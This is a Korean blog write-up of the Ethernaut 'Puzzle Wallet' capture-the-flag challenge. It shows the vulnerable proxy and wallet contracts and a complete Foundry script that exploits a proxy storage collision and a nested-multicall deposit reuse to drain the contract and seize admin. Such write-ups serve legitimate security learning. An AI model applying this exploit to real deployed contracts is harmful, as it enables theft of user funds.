Web3/Ethernaut
[Ethernaut] Puzzle Wallet 풀이
kaymin
2025. 1. 18. 16:05
이더넛 문제 중 제일 인상에 남는 문제고 어렵게 푼 문제이다.
그만큼 재밌게 푼 것 같다.
Instance
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "../helpers/UpgradeableProxy-08.sol";
contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;
constructor(address _admin, address _implementation, bytes memory _initData)
UpgradeableProxy(_implementation, _initData)
{
admin = _admin;
}
modifier onlyAdmin() {
require(msg.sender == admin, "Caller is not the admin");
_;
}
function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}
function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}
function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}
contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;
function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}
modifier onlyWhitelisted() {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}
function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}
function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}
function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}
function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success,) = to.call{value: value}(data);
require(success, "Execution failed");
}
function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success,) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}
Exploit
프록시 구조를 통해 owner 권한을 탈취하고, 이로 화이트리스트를 조작한 후 취약한 multicall 함수를 호출해서 푸는 문제이다.
프록시 구조를 보면 스토리지가 겹치기에 취약하다.
그리고 multicall 함수를 보면, deposit을 call 하는 내내 한번만 호출할 수 있게 하지만, multicall안에 있는 콜데이터 하나에도 multicall을 호출해서 그 안에서 재차 deposit을 호출하는건 패치 못했나보다.
이를 이용해서 풀었다.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "../lib/forge-std/src/Script.sol";
import "../lib/forge-std/src/console.sol";
//import {Script, console} from "forge-std/Script.sol";
interface IPuzzleProxy{
function admin() external returns (address);
function proposeNewAdmin(address) external;
function addToWhitelist(address) external;
function deposit() external payable;
function execute(address, uint256, bytes calldata) external payable;
function multicall(bytes[] calldata) external payable;
function setMaxBalance(uint256) external;
}
contract ex_puzzle_s is Script {
bytes[] f_data;
bytes[] one_data;
function run() external {
vm.startBroadcast(vm.envUint("pv_key"));
address proxy_addr=vm.envAddress("inst_addr");
address user=vm.envAddress("user_addr");
//(bool success, bytes memory err) = proxy.call(abi.encodeWithSignature("proposeNewAdmin(address)", user));
IPuzzleProxy proxy=IPuzzleProxy(proxy_addr);
// 1. owner 권한 탈취
proxy.proposeNewAdmin(user);
console.log("1: ");
// 2. 나를 화이트리스트에 추가
//(success, err) = proxy.call(abi.encodeWithSignature("addToWhitelist(address)", user));
proxy.addToWhitelist(user);
console.log("2: ");
// 3. 멀티콜 준비 후 실행
one_data.push(abi.encodeWithSignature("deposit()"));
f_data.push(abi.encodeWithSignature("deposit()"));
f_data.push(abi.encodeWithSignature("multicall(bytes[])", one_data));
console.log("my balance: ", user.balance);
//(success, err) = proxy.call{value: 1000000000000000}(abi.encodeWithSignature("multicall(bytes[])", f_data));
proxy.multicall{value: 1000000000000000}(f_data);
console.log("3: ");
// 4. execute로 돈 뺴버리기
//(success, err) = proxy.call(abi.encodeWithSignature("execute(address, uint256, bytes)", user, 2000000000000000, ""));
proxy.execute(user, 2000000000000000, "");
console.log("4: ");
// 5: setMaxBalance 호출
//(success, err)=proxy.call(abi.encodeWithSignature("setMaxBalance(uint256)", vm.envUint("user_addr")));
proxy.setMaxBalance(vm.envUint("user_addr"));
console.log("5: ");
//(success, err)=proxy.call(abi.encodeWithSignature("admin()"));
// 6: admin 확인
address adm=proxy.admin();
console.log(adm == user);
vm.stopBroadcast();
}
receive() external payable {}
}